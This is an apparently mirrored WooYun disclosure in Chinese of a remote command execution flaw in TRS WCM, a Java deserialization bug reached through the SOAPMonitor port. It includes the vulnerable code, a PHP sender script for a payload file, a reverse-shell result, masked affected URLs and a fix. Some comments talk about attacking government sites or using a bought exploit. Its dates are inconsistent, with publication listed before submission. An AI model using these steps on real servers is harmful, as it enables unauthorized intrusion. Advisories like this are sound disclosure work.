TRSWCM远程命令执行漏洞

admin 2017年4月20日22:42:12评论3,153 views字数 233阅读0分46秒阅读模式
摘要

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

漏洞概要 关注数(141) 关注此漏洞

缺陷编号: WooYun-2016-179709

漏洞标题: TRSWCM远程命令执行漏洞 TRSWCM远程命令执行漏洞

相关厂商: 北京拓尔思信息技术股份有限公司

漏洞作者: applychenTRSWCM远程命令执行漏洞

提交时间: 2016-03-01 09:01

公开时间: 2015-12-26 16:56

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: Java RCE利用实例

26人收藏


漏洞详情

披露状态:

2016-03-01: 细节已通知厂商并且等待厂商处理中
2016-03-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2015-12-26: 细节向公众公开

简要描述:

TRSWCM远程命令执行漏洞

详细说明:

其实就是common-collections中的反序列化漏洞。

LIB目录中有commons-collections.jar不是最新版本,因此存在反序列化漏洞,漏洞触发在SOAPMonitor中,web.xml配置如下:

code 区域
<servlet> 
<servlet-name>SOAPMonitorService</servlet-name>
<servlet-class>org.apache.axis.monitor.SOAPMonitorService</servlet-class>
<init-param>
<param-name>SOAPMonitorPort</param-name>
<param-value>5001</param-value>
</init-param>
<load-on-startup>100</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>SOAPMonitorService</servlet-name>
<url-pattern>/SOAPMonitor</url-pattern>
</servlet-mapping>

可以看到SOAPMonitor会监听5001端口在org.apache.axis.monitor.SOAPMonitorService中代码如下:

code 区域
public void init()
throws ServletException
{
if (connections == null)
{
connections = new Vector();
}
if (server_socket == null)
{
ServletConfig config = super.getServletConfig();
String port = config.getInitParameter("SOAPMonitorPort");
if (port == null)
{
port = "0";
}
try
{
server_socket = new ServerSocket(Integer.parseInt(port));
}
catch (Exception e)
{
server_socket = null;
}
if (server_socket != null)
{
new Thread(new ServerSocketThread()).start();
}
}
}

class ConnectionThread
implements Runnable
{
private Socket socket = null;
private ObjectInputStream in = null;
private ObjectOutputStream out = null;
private boolean closed = false;

public ConnectionThread(Socket s)
{
this.socket = s;
try
{
this.out = new ObjectOutputStream(this.socket.getOutputStream());
this.out.flush();
this.in = new ObjectInputStream(this.socket.getInputStream());
} catch (Exception e) {
}
synchronized (SOAPMonitorService.connections) {
SOAPMonitorService.connections.addElement(this);
}
}

public void run()
{
try
{
Object o;
while (!this.closed)
o = this.in.readObject();
}
catch (Exception e) {
}
synchronized (SOAPMonitorService.connections) {
SOAPMonitorService.connections.removeElement(this);
}

if (this.out != null) {
try {
this.out.close(); } catch (IOException ioe) {
}
this.out = null;
}
if (this.in != null) {
try {
this.in.close(); } catch (IOException ioe) {
}
this.in = null;
}

close();
}

其中o = this.in.readObject();从this.socket.getInputStream()读取数据,触发了漏洞。

因此在利用的时候需要访问服务器的5001端口,有时候也不一定是5001端口,可以直接访问SOAPMonitor在返回中可以直接得到端口:

code 区域
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
int port = 0;
if (server_socket != null) {
port = server_socket.getLocalPort();
}
response.setContentType("text/html");
response.getWriter().println("<html>");
response.getWriter().println("<head>");
response.getWriter().println("<title>SOAP Monitor</title>");
response.getWriter().println("</head>");
response.getWriter().println("<body>");
response.getWriter().println("<object classid=/"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93/" width=100% height=100% codebase=/"http://**.**.**.**/products/plugin/1.3/jinstall-13-win32.cab#Version=1,3,0,0/">");
response.getWriter().println("<param name=code value=SOAPMonitorApplet.class>");
response.getWriter().println("<param name=/"type/" value=/"application/x-java-applet;version=1.3/">");
response.getWriter().println("<param name=/"scriptable/" value=/"false/">");
response.getWriter().println("<param name=/"port/" value=/"" + port + "/">");
response.getWriter().println("<comment>");
response.getWriter().println("<embed type=/"application/x-java-applet;version=1.3/" code=SOAPMonitorApplet.class width=100% height=100% port=/"" + port + "/" scriptable=false pluginspage=/"http://**.**.**.**/products/plugin/1.3/plugin-install.html/">");
response.getWriter().println("<noembed>");
response.getWriter().println("</comment>");
response.getWriter().println("</noembed>");
response.getWriter().println("</embed>");
response.getWriter().println("</object>");
response.getWriter().println("</body>");
response.getWriter().println("</html>");
}
code 区域
http://**.**.**.**/wcm/SOAPMonitor

TRSWCM远程命令执行漏洞

EXP用的是http://**.**.**.**/content/23905反弹shell,以http://**.**.**.**/wcm/为例进行测试。

用EXP生成hi.bin文件,再往**.**.**.**的5001端口发送此文件即可:

code 区域
<?php 
function http_send($host,$port,$packet,$isSsl)
{
if($isSsl){
$sock = fsockopen("ssl://".$host, $port);
}else{
$sock = fsockopen($host, $port);
}
while (!$sock)
{
$sock = fsockopen($host, $port);
}
fputs($sock, $packet);
while (!feof($sock))
@$resp .= fread($sock, 1024);
fclose($sock);
//print $resp;
return $resp;
}

$host=$argv[1];
echo $host."/r/n";
$data=file_get_contents("C:/java/hi.bin");
echo http_send($host,5001,$data,0);
?>

TRSWCM远程命令执行漏洞

然后查看本地监听的443端口,此时已经返回shell:

TRSWCM远程命令执行漏洞

TRSWCM远程命令执行漏洞

列两个受影响的站点,更多的没有去匹配了。

code 区域
http://**.**.**.**:8090/wcm/app/login.jsp
http://**.**.**.**/wcm/app/login.jsp

漏洞证明:

同上

修复方案:

升级commons-collections.jar到3.2.2版本

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-26 16:56

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2016-03-07:问题已确认,因漏洞确认失效时间在周末,未能及时处理,导致平台认定为忽略,已和平台进行联系,说明情况.感谢作者的发现.


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-01 09:03 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

    2

    屌屌屌

  2. 2016-03-01 09:06 | Coody TRSWCM远程命令执行漏洞 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    3

    洞主收徒不?我送你8位情侣QQ

  3. 2016-03-01 09:09 | 玉林嘎 TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:941 漏洞数:108 )

    2

    要雷

  4. 2016-03-01 09:23 | pudding2 ( 普通白帽子 | Rank:147 漏洞数:51 | 凡心所向,素履所往,生如逆旅,一苇以航)

    2

    求带

  5. 2016-03-01 09:42 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    2

    666666

  6. 2016-03-01 09:51 | 枫子 ( 路人 | Rank:14 漏洞数:5 | 酱油安全爱好者一枚。)

    2

    前排围观了

  7. 2016-03-01 09:59 | Me_Fortune ( 普通白帽子 | Rank:361 漏洞数:115 | The quiter you are,the more you're able ...)

    2

    洞主收徒不?我送你8位情侣QQ

  8. 2016-03-01 10:00 | prolog ( 普通白帽子 | Rank:944 漏洞数:197 )

    3

    洞主收徒不?我送你8位情侣TT

  9. 2016-03-01 10:02 | 欧冠狂魔阿森纳 ( 实习白帽子 | Rank:87 漏洞数:37 | 静静的看你们装逼)

    2

    卧槽 一大波政府站又要被日了

  10. 2016-03-01 10:09 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)

    2

    洞主收徒不?我送你8位情侣QQ

  11. 2016-03-01 10:30 | whitemonty ( 路人 | Rank:11 漏洞数:5 | Secur1ty just lik3 a girl. B0th of th3m ...)

    2

    TRS 和你什么仇什么怨,挖他们那么多远程命令执行

  12. 2016-03-01 10:33 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:73 | 小段子手)

    3

    洞主收徒不?我可以引荐你到拓尔思工作。

  13. 2016-03-01 10:50 | Wens0n ( 普通白帽子 | Rank:102 漏洞数:23 | 精华漏洞数:32 | WooYun认证√ 舞蹈系教授)

    2

    TRS 和你什么仇什么怨,挖他们那么多远程命令执行

  14. 2016-03-01 10:58 | applychen TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    2

    @大亮 谢谢哈,暂时还没用工作的计划~

  15. 2016-03-01 11:26 | 隐形人真忙 ( 普通白帽子 | Rank:201 漏洞数:25 | ...)

    2

    陈老师 求指导java安全

  16. 2016-03-01 13:20 | 毛猴 ( 普通白帽子 | Rank:165 漏洞数:55 | 猴哥~~猴哥~~你真了不得 ......)

    2

    大哥 都被你挖怕了!

  17. 2016-03-01 13:39 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    3

    如果是通杀,绝对应该打雷,但是wcm7应该都做了过滤器,除了webservice和插件jsp不做跳转,不过还是赞一个

  18. 2016-03-01 14:04 | applychen TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    3

    @menmen519 wcm7是中招的,一些wcm65也中招。

  19. 2016-03-01 15:19 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    2

    @applychen 牛逼 这个得打雷 wcm 使用量巨大

  20. 2016-03-01 16:11 | Dusk ( 实习白帽子 | Rank:35 漏洞数:20 )

    3

    洞主收徒不?我送你8位情侣YY

  21. 2016-03-01 16:16 | J4rn4ben ( 路人 | Rank:15 漏洞数:4 | 喜欢在西湖里自由泳的野猪)

    2

    @applychen,私密一个联系方式

  22. 2016-03-01 19:06 | 無名老人 ( 路人 | Rank:19 漏洞数:4 | 干过开发,日过渗透,江湖人称: 少女杀手)

    2

    后台命令执行? ManagementFactory.getRuntimeMXBean

  23. 2016-03-01 21:51 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    2

    吊炸天

  24. 2016-03-01 23:36 | nick被注册 ( 普通白帽子 | Rank:152 漏洞数:25 | 天一)

    2

    这个牛

  25. 2016-03-02 11:09 | cnrstar ( 普通白帽子 | Rank:161 漏洞数:24 | Be my personal best!)

    2

    有本事给我看看是真的假的。O(∩_∩)O~~

  26. 2016-03-02 13:40 | Agony ( 路人 | Rank:24 漏洞数:12 | you know a cat has nine lives.)

    3

    洞主收徒不?送你一个机智的徒弟

  27. 2016-03-06 11:21 | applychen TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    2

    忽略……

  28. 2016-03-06 11:26 | 千机 ( 普通白帽子 | Rank:681 漏洞数:115 )

    2

    66666666666

  29. 2016-03-06 11:33 | Coody TRSWCM远程命令执行漏洞 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    2

    @applychen 不影响你得分,得$

  30. 2016-03-06 11:54 | applychen TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    2

    @Coody ORZ……

  31. 2016-03-06 12:29 | Coody TRSWCM远程命令执行漏洞 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    2

    @applychen 某个厂商的漏洞一下子多了,肯定都是这样的。

  32. 2016-03-07 14:13 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:16 | Talk is cheap,show me the shell.)

    2

    所以说发漏洞要看日子咯

  33. 2016-04-30 09:35 | 最爱晴雯 ( 路人 | Rank:2 漏洞数:1 | 学习安全知识)

    0

    66666

  34. 2016-05-16 22:46 | 煦阳。 ( 普通白帽子 | Rank:135 漏洞数:29 | 这个人很懒,什么都没留下。)

    0

    exp怎么用... 买了不会用... @applychen

  35. 2016-05-16 22:57 | 煦阳。 ( 普通白帽子 | Rank:135 漏洞数:29 | 这个人很懒,什么都没留下。)

    0

    目标机要5001对外网开放么

  36. 2016-05-16 23:19 | applychen TRSWCM远程命令执行漏洞 ( 普通白帽子 | Rank:667 漏洞数:57 | 万古漫漫长如夜)

    0

    @煦阳。 是啊,对外网开放。

  37. 2016-05-17 09:25 | cf_hb ( 普通白帽子 | Rank:119 漏洞数:17 | 爱生活,爱安全!)

    0

    伤心了找了好几个站都没测出来

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin